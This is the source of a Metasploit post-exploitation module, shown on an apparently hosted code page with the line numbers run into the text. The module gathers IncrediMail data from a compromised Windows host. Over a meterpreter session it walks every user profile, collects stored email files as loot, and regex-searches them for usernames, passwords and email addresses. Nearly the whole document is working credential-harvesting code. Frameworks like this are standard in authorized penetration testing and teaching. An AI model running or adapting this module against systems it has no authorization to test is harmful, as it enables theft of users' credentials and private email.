Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/incredimail.rb
Views: 11704
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##6ARTIFACTS =7{8application: 'incredimail',9app_category: 'emails',10gatherable_artifacts: [11{12filetypes: 'email_logs',13path: 'LocalAppData',14dir: 'IM',15artifact_file_name: 'msg.iml',16description: 'IncrediMail sent and received emails',17credential_type: 'text',18regex_search: [19{20extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',21extraction_type: 'credentials',22regex: [23'(?i-mx:password.*)',24'(?i-mx:username.*)'25]26},27{28extraction_description: 'searches for Email TO/FROM address',29extraction_type: 'Email addresses',30regex: [31'(?i-mx:to:.*)',32'(?i-mx:from:.*)'33]34}35]36}37]38}.freeze3940class MetasploitModule < Msf::Post41# this associative array defines the artifacts known to PackRat42include Msf::Post::File43include Msf::Post::Windows::UserProfiles44include Msf::Post::Windows::Packrat4546def initialize(info = {})47super(48update_info(49info,50'Name' => 'Incredimail credential gatherer',51'Description' => %q{52PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.53PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.54Further details can be found in the module documentation.55This is a module that searches for Incredimail credentials on a windows remote host.56},57'License' => MSF_LICENSE,58'Author' => [59'Kazuyoshi Maruta',60'Daniel Hallsworth',61'Barwar Salim M',62'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org63],64'Platform' => ['win'],65'SessionTypes' => ['meterpreter'],66'Notes' => {67'Stability' => [CRASH_SAFE],68'Reliability' => [],69'SideEffects' => []70}71)72)7374register_options(75[76OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),77OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),78OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),79# enumerates the options based on the artifacts that are defined below80OptEnum.new('ARTIFACTS', [81false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|82k[:filetypes]83end.uniq.unshift('All')84])85]86)87end8889def run90print_status('Filtering based on these selections: ')91print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")92print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")93print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")9495# used to grab files for each user on the remote host96grab_user_profiles.each do |userprofile|97run_packrat(userprofile, ARTIFACTS)98end99100print_status 'PackRat credential sweep Completed'101end102end103104105